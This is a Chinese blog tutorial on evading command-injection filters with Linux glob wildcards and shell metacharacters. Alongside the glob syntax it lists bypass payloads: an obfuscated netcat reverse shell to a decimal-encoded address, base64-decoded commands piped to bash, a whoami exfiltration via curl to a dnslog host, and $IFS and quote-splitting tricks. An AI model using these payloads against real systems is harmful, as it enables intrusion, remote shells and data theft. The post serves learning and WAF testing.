命令执行绕过之Linux通配符

前几天在微博和公众号上看到一些使用Linux通配符/glob模式来绕过命令执行的方式,感觉很不错,学习总结下。

首先先了解下什么是Linux shell 通配符/glob模式:

概念:

glob 模式(globbing)也被称之为 shell 通配符,名字的起源来自于 Unix V6 中的 /etc/glob (详见 man 文档)。glob 是一种特殊的模式匹配,最常见的是通配符拓展,也可以将 glob 模式设为精简了的正则表达式,在最新的 CentOS 7 中已经删除了 glob 的相关描述文档,删除的原因由于 glob 已经整合到了 shell 之中,然后就有了 shell 通配符。shell 通配符 / glob 模式通常用来匹配目录以及文件,而不是文本!!!

语法:

字符 解释
* 匹配任意长度任意字符
? 匹配任意单个字符
[list] 匹配指定范围内(list)任意单个字符,也可以是单个字符组成的集合
[^list] 匹配指定范围外的任意单个字符或字符集合
[!list] [^list]
{str1,str2,…} 匹配 srt1 或者 srt2 或者更多字符串,也可以是集合

专用字符集

字符 意义
[:alnum:] 任意数字或者字母
[:alpha:] 任意字母
[:space:] 空格
[:lower:] 小写字母
[:digit:] 任意数字
[:upper:] 任意大写字母
[:cntrl:] 控制符
[:graph:] 图形
[:print:] 可打印字符
[:punct:] 标点符号
[:xdigit:] 十六进制数
[:blank:] 空白字符(未验证)

Linux shell 元字符,在使用通配符时如果没有进行转义可能就会被辨识为元字符

字符 作用
IFS < space >< tab >< enter > 三者之一组成
CR < enter > 产生
= 设定变量
$ 作变量或运算替换
> 重导向标准输出
< 重导向标准输入
`\ ` 命令管线
& 重导向文件描述符,或将命令静默执行
( ) 将其内的命令置于 nested subshell 执行,或用于运算或命令替换
{ } 将其内的命令置于 non-named function 中执行,或用在变量替换的界定范围
; 在前一个命令结束时,而忽略其返回值,继续执行下一个命令
&& 在前一个命令结束时,若返回值为 true,继续执行下一个命令
`\ \ ` 在前一个命令结束时,若返回值为 false,继续执行下一个命令
! 执行 history 中的命令

示例:

举几个简单的例子,举一反三,同理,各种混合结合效果更佳!

1
2
3
4
5
6
7
8
9
w2n1ck@w2n1ck ~/Desktop/shell  ls a*?
abc.txt
w2n1ck@w2n1ck ~/Desktop/shell  /???/[l]s
12.txt abc.txt
w2n1ck@w2n1ck ~/Desktop/shell  /???/[:lower:]s
12.txt abc.txt
再比如:
/?s?/???/[n]c 2130706433 8888 -e /???/b??h
...

其他绕过方式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
ls | id
ls ; id 在shell中,担任"连续指令"功能的符号就是"分号"
ls & id
ls 回车 id
ls `id`
ls ` id` 前面加了一个空格
ls `\id` 反斜杠 i\d等价于id
ls $(id)
ls | a=i;b=d;$a$b 拼接
ls | echo aWQ=| base64 -d | bash 利用base64
`echo "aWQ="|base64 -d`
ls | curl xxx.ceye.io/`whoami` 利用dnslog或者http web log
cat<1.txt
cat$IFS$91.txt
cat${IFS}1.txt
cat$IFS1.txt
%0acat%091.txt
w'h'o'am'i
w"h"o"am"i
who$@ami
echo i$@d|$0
w$@h$@o$@a$@m$@i

注意事项

  • 在使用专属字符集的时候,字符集之外还需要用 [ ] 来包含住,否则专用字符集不会生效,例如 [[:space:]]
  • 想要转义的时候,单引号与双引号使用方法是不同的,单引号会转义所有字符,而且单引号中间不允许再出现单引号,双引号允许出现特定的 shell 元字符,具体字符可以自行查询
  • 在使用花括号 {} 的时候,里面的单个字符串需要使用单引号或者双引号括住,否则就会视为多个的单个字符

Referer:

https://www.cnblogs.com/divent/archive/2016/08/11/5762154.html

https://medium.com/secjuice/waf-evasion-techniques-718026d693d8

大爷,赏个铜板呗!